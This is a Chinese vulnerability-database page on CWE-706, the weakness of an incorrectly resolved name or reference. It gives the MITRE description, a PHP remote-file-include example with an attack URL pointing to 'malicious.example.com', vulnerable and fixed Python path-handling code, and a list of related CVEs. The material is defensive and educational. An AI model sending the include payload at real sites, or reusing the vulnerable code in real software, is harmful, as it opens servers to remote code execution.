目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1336 元

100%
请我们喝杯咖啡

CWE-706 使用不正确的解析名称或索引 类漏洞列表 67

CWE-706 使用不正确的解析名称或索引 类弱点 67 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-706属于引用解析错误漏洞，指程序使用的名称或引用未能正确解析到预期资源，导致访问了控制范围外的对象。攻击者通常通过操纵输入或环境变量，诱导系统引用恶意资源以执行未授权操作或窃取数据。开发者应严格验证输入，使用白名单机制限制可访问的资源范围，并确保引用解析过程在受控环境中进行，从而防止意外指向外部资源。

MITRE CWE 官方描述
CWE：CWE-706 使用不正确解析的名称或引用 (Use of Incorrectly-Resolved Name or Reference) 英文：产品使用名称或引用来访问资源，但该名称/引用解析到的资源超出了预期的控制范围 (intended control sphere)。
常见影响 (1)
Confidentiality, Integrity Read Application Data, Modify Application Data
代码示例 (2)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an erro…
import os import sys def main(): filename = sys.argv[1] path = os.path.join(os.getcwd(), filename) try: with open(path, 'r') as f: file_data = f.read() except FileNotFoundError as e: print("Error - file not found") main()
Bad · Python
import os import sys def main(): filename = sys.argv[1] path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}") if path.startswith("/home/cwe/documents/"): try: with open(path, 'r') as f: file_data = f.read() except FileNotFoundError as e: print("Error - file not found") main()
Good · Python
CVE ID 标题 CVSS 风险等级 Published
CVE-2022-27778 curl 安全漏洞 — https://github.com/curl/curl 8.1 - 2022-06-01
CVE-2022-28198 NVIDIA Omniverse 安全漏洞 — NVIDIA Omniverse Nucleus 6.6 Medium 2022-04-29
CVE-2021-37215 Larvata Flygo 安全漏洞 — FLYGO 4.3 Medium 2021-08-09
CVE-2021-37214 Larvata Flygo 安全漏洞 — FLYGO 8.8 High 2021-08-09
CVE-2021-37213 Larvata Flygo 安全漏洞 — FLYGO 4.3 Medium 2021-08-09
CVE-2021-37212 Larvata Flygo 安全漏洞 — FLYGO 5.4 Medium 2021-08-09
CVE-2020-26233 Git SQL注入漏洞 — Git-Credential-Manager-Core 7.3 High 2020-12-08

CWE-706（使用不正确的解析名称或索引） 是常见的弱点类别，本平台收录该类弱点关联的 67 条 CVE 漏洞。